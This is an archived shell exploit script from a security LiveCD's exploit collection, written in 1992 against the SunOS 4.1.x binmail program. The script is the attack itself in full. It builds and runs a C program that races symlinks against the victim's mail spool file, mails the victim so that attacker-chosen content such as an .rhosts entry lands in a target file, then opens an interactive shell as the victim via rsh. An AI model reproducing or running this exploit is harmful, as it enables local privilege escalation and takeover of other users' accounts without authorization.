home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / mailx.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  121 lines

  1. #!/bin/sh
  2. #
  3. # Syntax: mailscript user target-file rsh-user
  4. #
  5. # This exploits a flaw in SunOS 4.1.x binmail(1), and attempts
  6. # to become the specified 'user', by creating a .rhosts
  7. # file and using rsh.
  8. #
  9. # Written 1992 by [8LGM]
  10. # Please do not use this script without permission.
  11. #
  12.  
  13. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  14. IFS=" "                          export IFS
  15.  
  16. PROG="`basename $0`"
  17. SPOOLDIR="/var/spool/mail"
  18.  
  19. # Check args
  20. if [ $# -ne 3 ]; then
  21.         echo "Syntax: $PROG user target-file rsh-user"
  22.         exit 1
  23. fi
  24. TARGET="$1"
  25. TARGET_FILE="$2"
  26. RSH_USER="$3"
  27.  
  28. # Check we're on SunOS
  29. if [ "x`uname -s`" != "xSunOS" ]; then
  30.         echo "Sorry, this only works on SunOS"
  31.         exit 1
  32. fi
  33.  
  34. # Check user exists
  35. grep "^$TARGET:" /etc/passwd >/dev/null 2>&1
  36. if [ $? -ne 0 ]; then
  37.         echo "$PROG: Warning, $TARGET not in local passwd file"
  38.   [2000]# We continue though, might be in the YP passwd file
  39. fi
  40.  
  41. # Check target file
  42. if [ -f $TARGET_FILE ]; then
  43.         OLD_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  44.         echo "$PROG: Warning, $TARGET_FILE already exists, appending"
  45. else
  46.         OLD_TARGET_LEN=0
  47. fi
  48.  
  49. # Delete spool file if its a link, and we are able
  50. if [ -h "$SPOOLDIR/$TARGET" ]; then
  51.         rm -f "$SPOOLDIR/$TARGET"
  52.   [2000]# Dont worry about errors, we catch it below
  53. fi
  54.  
  55. # Check mail file
  56. if [ -f "$SPOOLDIR/$TARGET" ]; then
  57.         echo "$PROG: ${TARGET}'s mail file exists."
  58.         exit 1
  59. fi
  60.  
  61. # Make the race program
  62. cat >mailrace.c << 'EOF'
  63. #include <stdio.h>
  64.  
  65. main(argc,argv)
  66. int argc;
  67. char *argv[];
  68. {
  69.         if (argc != 3) {
  70.                 fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]);
  71.                 exit(1);
  72.         }
  73.  
  74.         for (;;) {
  75.                 unlink(argv[1]);
  76.                 symlink(argv[2], argv[1]);
  77.         }
  78. }
  79. EOF
  80. cc -o mailrace mailrace.c
  81.  
  82. # Check we now have mailrace
  83. if [ ! -x "mailrace" ]; then
  84.         echo "$PROG: couldnt compile mailrace.c - check it out"
  85.         exit 1
  86. fi
  87.  
  88. # Start mailrace
  89. ./mailrace $SPOOLDIR/$TARGET $TARGET_FILE &
  90. RACE_PID=$!
  91.  
  92. # Send mail to the user
  93. NEW_TARGET_LEN=$OLD_TARGET_LEN
  94. while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
  95.         echo "Sending mail to $TARGET"
  96.         echo "localhost $USER" | /bin/mail $TARGET
  97.         sleep 10
  98.         kill -STOP $RACE_PID
  99.         rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
  100.         if [ -f $SPOOLDIR/$TARGET ]; then
  101.                 echo "$PROG: Sorry, we lost the race - cant try again."
  102.                 kill -9 $RACE_PID
  103.                 exit 1
  104.         fi
  105.         kill -CONT $RACE_PID
  106.         if [ -f "$TARGET_FILE" ]; then
  107.                 NEW_TARGET_LEN=`ls -ld $TARGET_FILE | awk -F' ' '{print $4}'` 2>/dev/null
  108.         else
  109.                 NEW_TARGET_LEN=0
  110.         fi
  111.         if [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; then
  112.                 echo "We drew the race that time, trying again"
  113.         fi
  114. done
  115.  
  116. # We won the race
  117. kill -9 $RACE_PID
  118. echo "We won the race, becoming $RSH_USER"
  119. rsh localhost -l $RSH_USER sh -i
  120. exit 0
  121. #                 www.hack.co.za           [2000]#